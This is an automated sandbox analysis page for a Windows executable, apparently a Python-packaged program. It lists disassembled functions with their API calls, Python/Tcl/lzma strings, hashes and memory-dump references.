Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: c2acd07a565e386ac312abf6f36a38e48317dc5d6bc808492fb01e9d945daff6
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: 19314372609BC196EB609F60E8403EE73A1FB84704F84413ADA6D47B98EF3CD558C750

Function 00007FF7FF5A5C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7FF5A5CB5

Part of subcall function 00007FF7FF5A5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A561C

Part of subcall function 00007FF7FF59A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9CE
Part of subcall function 00007FF7FF59A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9D8

Part of subcall function 00007FF7FF59A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7FF59A94F,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59A979
Part of subcall function 00007FF7FF59A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7FF59A94F,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59A99E

_get_daylight.LIBCMT ref: 00007FF7FF5A5CA4

Part of subcall function 00007FF7FF5A5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A567C

_get_daylight.LIBCMT ref: 00007FF7FF5A5F1A
_get_daylight.LIBCMT ref: 00007FF7FF5A5F2B
_get_daylight.LIBCMT ref: 00007FF7FF5A5F3C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FF5A617C), ref: 00007FF7FF5A5F63

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 0c9ae4c43809035ead388df1149d8e15e4647e923e6de7bb59d770bfc2eeda5e
Instruction ID: 19577b267cfca23daac5ff011ebdbb43c71149401190becd7be0bf4097eda078
Opcode Fuzzy Hash: 0c9ae4c43809035ead388df1149d8e15e4647e923e6de7bb59d770bfc2eeda5e
Instruction Fuzzy Hash: DBD1C026A0928286EB24BF35D4409F9A791FF45B84FC48235EA3D476D6DF3CE46187A0

Function 00007FF7FF59A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7FF59A6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FF59A715
RtlVirtualUnwind.KERNEL32 ref: 00007FF7FF59A750
IsDebuggerPresent.KERNEL32 ref: 00007FF7FF59A789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FF59A793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FF59A79E

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: 33fa9eb35eca640c0c64bb445f1c715feab2f126a69611951d5a1ba6ec53cb56
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: A0319632618BC196DB60DF64E8402EEB3A4FB88754F940236EAAD43BA9DF3CC155C750

Function 00007FF7FF5A18E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A1930
FindFirstFileExW.KERNEL32 ref: 00007FF7FF5A1A3A

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 2ef3c37f04818ead7d44404f95bcb0bbc346a7a2ea351082cea4bee254bbf61c
Instruction ID: 02d96841ccad658c57baafa351ff0ad6bfcc1f1b2a693bf5a34f38f384d63759
Opcode Fuzzy Hash: 2ef3c37f04818ead7d44404f95bcb0bbc346a7a2ea351082cea4bee254bbf61c
Instruction Fuzzy Hash: ABB1E622B1A6C641EF60AB6194101F9E391EB45BE4F845332DE7E47BC5EE3CE451CBA0

Function 00007FF7FF5A5EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7FF5A5F1A

Part of subcall function 00007FF7FF5A5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A567C

_get_daylight.LIBCMT ref: 00007FF7FF5A5F2B

Part of subcall function 00007FF7FF5A5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A561C

_get_daylight.LIBCMT ref: 00007FF7FF5A5F3C

Part of subcall function 00007FF7FF5A5638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A564C

Part of subcall function 00007FF7FF59A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9CE
Part of subcall function 00007FF7FF59A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FF5A617C), ref: 00007FF7FF5A5F63

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
Instruction ID: b6ef958c8ac94739bf6d8f76c05d987a231373268d83bf905ddb53313eeba5ea
Opcode Fuzzy Hash: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
Instruction Fuzzy Hash: B8517232A0968286E720FF35D8815E9E760BB49B84FC45235EA7D436D6DF3CE45187E0

Function 00007FF7FF585820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585830
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585842
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585879
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58588B
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858A4
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858B6
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858CF
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858E1
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858FD
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58590F
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58592B
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58593D
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585959
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58596B
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585987
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585999
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5859B5
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5859C7

Strings

PyRun_SimpleStringFlags, xrefs: 00007FF7FF585DFB, 00007FF7FF585E1D
PyUnicode_DecodeFSDefault, xrefs: 00007FF7FF585F0F, 00007FF7FF585F31
GetProcAddress, xrefs: 00007FF7FF585858
PyUnicode_FromFormat, xrefs: 00007FF7FF585F3D, 00007FF7FF585F5F
Py_IsInitialized, xrefs: 00007FF7FF585921, 00007FF7FF585943
Py_ExitStatusException, xrefs: 00007FF7FF58589A, 00007FF7FF5858BC
PyObject_Str, xrefs: 00007FF7FF585D9F, 00007FF7FF585DC1
PyConfig_Clear, xrefs: 00007FF7FF58597D, 00007FF7FF58599F
Py_DecodeLocale, xrefs: 00007FF7FF58586F, 00007FF7FF585891
PyObject_CallFunctionObjArgs, xrefs: 00007FF7FF585D15, 00007FF7FF585D37
PyImport_AddModule, xrefs: 00007FF7FF585BD3, 00007FF7FF585BF5
Py_InitializeFromConfig, xrefs: 00007FF7FF5858F3, 00007FF7FF585915
PyStatus_Exception, xrefs: 00007FF7FF585E29, 00007FF7FF585E4B
PyConfig_SetString, xrefs: 00007FF7FF585A35, 00007FF7FF585A57
PyConfig_InitIsolatedConfig, xrefs: 00007FF7FF5859AB, 00007FF7FF5859CD
PyErr_Fetch, xrefs: 00007FF7FF585ABF, 00007FF7FF585AE1
PyErr_Restore, xrefs: 00007FF7FF585B77, 00007FF7FF585B99
PyUnicode_AsUTF8, xrefs: 00007FF7FF585EB3, 00007FF7FF585ED5
Failed to get address for %hs, xrefs: 00007FF7FF585851
PyConfig_Read, xrefs: 00007FF7FF5859D9, 00007FF7FF5859FB
PySys_GetObject, xrefs: 00007FF7FF585E57, 00007FF7FF585E79
Py_Finalize, xrefs: 00007FF7FF5858C5, 00007FF7FF5858E7
PyConfig_SetWideStringList, xrefs: 00007FF7FF585A63, 00007FF7FF585A85
PyEval_EvalCode, xrefs: 00007FF7FF585BA5, 00007FF7FF585BC7
PyErr_Clear, xrefs: 00007FF7FF585A91, 00007FF7FF585AB3
PyObject_GetAttrString, xrefs: 00007FF7FF585D43, 00007FF7FF585D65
PyUnicode_FromString, xrefs: 00007FF7FF585F6B, 00007FF7FF585F8D
PyUnicode_Replace, xrefs: 00007FF7FF585FC7, 00007FF7FF585FE9
PyImport_ExecCodeModule, xrefs: 00007FF7FF585C01, 00007FF7FF585C23
PyErr_Print, xrefs: 00007FF7FF585B49, 00007FF7FF585B6B
PyUnicode_Decode, xrefs: 00007FF7FF585EE1, 00007FF7FF585F03
PySys_SetObject, xrefs: 00007FF7FF585E85, 00007FF7FF585EA7
PyModule_GetDict, xrefs: 00007FF7FF585CB9, 00007FF7FF585CDB
PyErr_Occurred, xrefs: 00007FF7FF585B1B, 00007FF7FF585B3D
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7FF585DCD, 00007FF7FF585DEF
PyMarshal_ReadObjectFromString, xrefs: 00007FF7FF585C5D, 00007FF7FF585C7F
PyObject_CallFunction, xrefs: 00007FF7FF585CE7, 00007FF7FF585D09
PyMem_RawFree, xrefs: 00007FF7FF585C8B, 00007FF7FF585CAD
PyObject_SetAttrString, xrefs: 00007FF7FF585D71, 00007FF7FF585D93
PyConfig_SetBytesString, xrefs: 00007FF7FF585A07, 00007FF7FF585A29
PyErr_NormalizeException, xrefs: 00007FF7FF585AED, 00007FF7FF585B0F
PyImport_ImportModule, xrefs: 00007FF7FF585C2F, 00007FF7FF585C51
PyUnicode_Join, xrefs: 00007FF7FF585F99, 00007FF7FF585FBB
Py_PreInitialize, xrefs: 00007FF7FF58594F, 00007FF7FF585971
Py_DecRef, xrefs: 00007FF7FF585826, 00007FF7FF585848

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: bd9b1a2efc8007b7e2a5e0ca7d31ad65ae96febdde4dc04b6c5a29345f16109f
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: DC228164A0AB8791FB15BB65A8141F4A7A0BF05B55FD55236C83E032E0FF3CA568C2F0

Function 00007FF7FF5876B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7FF5876C7
GetLastError.KERNEL32 ref: 00007FF7FF5876D9
GetProcAddress.KERNEL32 ref: 00007FF7FF587715
GetLastError.KERNEL32 ref: 00007FF7FF587727
GetProcAddress.KERNEL32 ref: 00007FF7FF587740
GetLastError.KERNEL32 ref: 00007FF7FF587752
GetProcAddress.KERNEL32 ref: 00007FF7FF58776B
GetLastError.KERNEL32 ref: 00007FF7FF58777D
GetProcAddress.KERNEL32 ref: 00007FF7FF587799
GetLastError.KERNEL32 ref: 00007FF7FF5877AB
GetProcAddress.KERNEL32 ref: 00007FF7FF5877C7
GetLastError.KERNEL32 ref: 00007FF7FF5877D9
GetProcAddress.KERNEL32 ref: 00007FF7FF5877F5
GetLastError.KERNEL32 ref: 00007FF7FF587807
GetProcAddress.KERNEL32 ref: 00007FF7FF587823
GetLastError.KERNEL32 ref: 00007FF7FF587835
GetProcAddress.KERNEL32 ref: 00007FF7FF587851
GetLastError.KERNEL32 ref: 00007FF7FF587863

Strings

Tcl_GetString, xrefs: 00007FF7FF587A9D, 00007FF7FF587ABF
Tcl_GetCurrentThread, xrefs: 00007FF7FF587847, 00007FF7FF587869
Tk_GetNumMainWindows, xrefs: 00007FF7FF587C97, 00007FF7FF587CB9
GetProcAddress, xrefs: 00007FF7FF5876EF
Tcl_ConditionNotify, xrefs: 00007FF7FF58795B, 00007FF7FF58797D
Tcl_ConditionFinalize, xrefs: 00007FF7FF58792D, 00007FF7FF58794F
Tcl_EvalObjv, xrefs: 00007FF7FF587BDF, 00007FF7FF587C01
Tcl_SetVar2, xrefs: 00007FF7FF587A41, 00007FF7FF587A63
Tcl_Alloc, xrefs: 00007FF7FF587C0D, 00007FF7FF587C2F
Tcl_FinalizeThread, xrefs: 00007FF7FF5877BD, 00007FF7FF5877DF
Tcl_CreateObjCommand, xrefs: 00007FF7FF587A6F, 00007FF7FF587A91
Tcl_EvalEx, xrefs: 00007FF7FF587BB1, 00007FF7FF587BD3
Tcl_Free, xrefs: 00007FF7FF587C3B, 00007FF7FF587C5D
Tcl_MutexLock, xrefs: 00007FF7FF5878A3, 00007FF7FF5878C5
Tcl_SetVar2Ex, xrefs: 00007FF7FF587B27, 00007FF7FF587B49
Failed to get address for %hs, xrefs: 00007FF7FF5876E8
Tcl_MutexFinalize, xrefs: 00007FF7FF5878FF, 00007FF7FF587921
Tcl_DeleteInterp, xrefs: 00007FF7FF5877EB, 00007FF7FF58780D
Tcl_Finalize, xrefs: 00007FF7FF58778F, 00007FF7FF5877B1
Tcl_GetObjResult, xrefs: 00007FF7FF587B55, 00007FF7FF587B77
Tcl_ConditionWait, xrefs: 00007FF7FF587989, 00007FF7FF5879AB
Tcl_JoinThread, xrefs: 00007FF7FF587875, 00007FF7FF587897
Tcl_CreateInterp, xrefs: 00007FF7FF58770B, 00007FF7FF58772D
Tcl_ThreadQueueEvent, xrefs: 00007FF7FF5879B7, 00007FF7FF5879D9
Tcl_DoOneEvent, xrefs: 00007FF7FF587761, 00007FF7FF587783
Tcl_NewStringObj, xrefs: 00007FF7FF587ACB, 00007FF7FF587AED
Tk_Init, xrefs: 00007FF7FF587C69, 00007FF7FF587C8B
Tcl_GetVar2, xrefs: 00007FF7FF587A13, 00007FF7FF587A35
Tcl_Init, xrefs: 00007FF7FF5876C0, 00007FF7FF5876DF
Tcl_NewByteArrayObj, xrefs: 00007FF7FF587AF9, 00007FF7FF587B1B
Tcl_ThreadAlert, xrefs: 00007FF7FF5879E5, 00007FF7FF587A07
Tcl_CreateThread, xrefs: 00007FF7FF587819, 00007FF7FF58783B
Tcl_MutexUnlock, xrefs: 00007FF7FF5878D1, 00007FF7FF5878F3
Tcl_EvalFile, xrefs: 00007FF7FF587B83, 00007FF7FF587BA5
Tcl_FindExecutable, xrefs: 00007FF7FF587736, 00007FF7FF587758

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: 0444685bfb9bbad97c277504d2f2ae55207c9f8b04a974173d826a585a9dc325
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: 69027B24A4EB87A1EB14BB65B8105F4AAA1BF05755BD41235D87E032E0FF7CB568C2F0

Function 00007FFBBB612158 Relevance: 73.7, APIs: 12, Strings: 30, Instructions: 229COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313 ref: 00007FFBBB61216F
PyTuple_New.PYTHON313 ref: 00007FFBBB61217A
PyModule_AddIntConstant.PYTHON313 ref: 00007FFBBB61219C
PyModule_AddIntConstant.PYTHON313 ref: 00007FFBBB6121B8
PyModule_AddIntConstant.PYTHON313 ref: 00007FFBBB6121D4
PyModule_AddIntConstant.PYTHON313 ref: 00007FFBBB6121F0

Part of subcall function 00007FFBBB61253C: PyLong_FromLongLong.PYTHON313(?,?,?,00007FFBBB612210), ref: 00007FFBBB61254F

PyErr_NewExceptionWithDoc.PYTHON313 ref: 00007FFBBB6124A1
PyModule_AddType.PYTHON313 ref: 00007FFBBB6124BA
PyType_FromModuleAndSpec.PYTHON313 ref: 00007FFBBB6124D1
PyModule_AddType.PYTHON313 ref: 00007FFBBB6124E5
PyType_FromModuleAndSpec.PYTHON313 ref: 00007FFBBB6124FC
PyModule_AddType.PYTHON313 ref: 00007FFBBB612511

Strings

MF_BT4, xrefs: 00007FFBBB61240B
CHECK_CRC32, xrefs: 00007FFBBB61221F
MF_HC4, xrefs: 00007FFBBB6123B7
FILTER_X86, xrefs: 00007FFBBB6122FB
CHECK_ID_MAX, xrefs: 00007FFBBB612272
MF_BT2, xrefs: 00007FFBBB6123D5
_lzma.LZMAError, xrefs: 00007FFBBB61249A
FILTER_SPARC, xrefs: 00007FFBBB61236A
FORMAT_RAW, xrefs: 00007FFBBB6121E9
Call to liblzma failed., xrefs: 00007FFBBB612490
FILTER_LZMA2, xrefs: 00007FFBBB6122C9
FORMAT_XZ, xrefs: 00007FFBBB6121B1
FILTER_POWERPC, xrefs: 00007FFBBB612385
FORMAT_AUTO, xrefs: 00007FFBBB612192
PRESET_EXTREME, xrefs: 00007FFBBB612476
CHECK_UNKNOWN, xrefs: 00007FFBBB61228D
MODE_FAST, xrefs: 00007FFBBB612426
CHECK_SHA256, xrefs: 00007FFBBB612257
FILTER_ARMTHUMB, xrefs: 00007FFBBB61234F
MODE_NORMAL, xrefs: 00007FFBBB612441
CHECK_NONE, xrefs: 00007FFBBB612201
PRESET_DEFAULT, xrefs: 00007FFBBB61245C
FORMAT_ALONE, xrefs: 00007FFBBB6121CD
MF_HC3, xrefs: 00007FFBBB6123A0
CHECK_CRC64, xrefs: 00007FFBBB61223C
FILTER_ARM, xrefs: 00007FFBBB612334
FILTER_LZMA1, xrefs: 00007FFBBB6122AB
MF_BT3, xrefs: 00007FFBBB6123F0
FILTER_IA64, xrefs: 00007FFBBB612319
FILTER_DELTA, xrefs: 00007FFBBB6122E4

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Module_$Constant$FromType$LongModuleSpecType_$Err_ExceptionLong_StateTuple_With
String ID: CHECK_CRC32$CHECK_CRC64$CHECK_ID_MAX$CHECK_NONE$CHECK_SHA256$CHECK_UNKNOWN$Call to liblzma failed.$FILTER_ARM$FILTER_ARMTHUMB$FILTER_DELTA$FILTER_IA64$FILTER_LZMA1$FILTER_LZMA2$FILTER_POWERPC$FILTER_SPARC$FILTER_X86$FORMAT_ALONE$FORMAT_AUTO$FORMAT_RAW$FORMAT_XZ$MF_BT2$MF_BT3$MF_BT4$MF_HC3$MF_HC4$MODE_FAST$MODE_NORMAL$PRESET_DEFAULT$PRESET_EXTREME$_lzma.LZMAError
API String ID: 2860262105-730042774
Opcode ID: b05d20caf41e2cf34902a231f2e1464577aae0624dd5c380810d4ef201983af2
Instruction ID: 46e038c4b7a29cafa4992f2928e7c446838d5ac24b12a4bc67248eea80fe410d
Opcode Fuzzy Hash: b05d20caf41e2cf34902a231f2e1464577aae0624dd5c380810d4ef201983af2
Instruction Fuzzy Hash: 12A10BE5B19A5251E618DB3AEDA03B5B651FF04784B80F034CF1F86675EE2DF908CA18

Function 00007FFBBCD47BDC Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 381COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD48147
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4817F
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD481B9

Strings

void, xrefs: 00007FFBBCD47D47
auto, xrefs: 00007FFBBCD47F13
__int32, xrefs: 00007FFBBCD47E96
decltype(auto), xrefs: 00007FFBBCD4802A
signed , xrefs: 00007FFBBCD48117
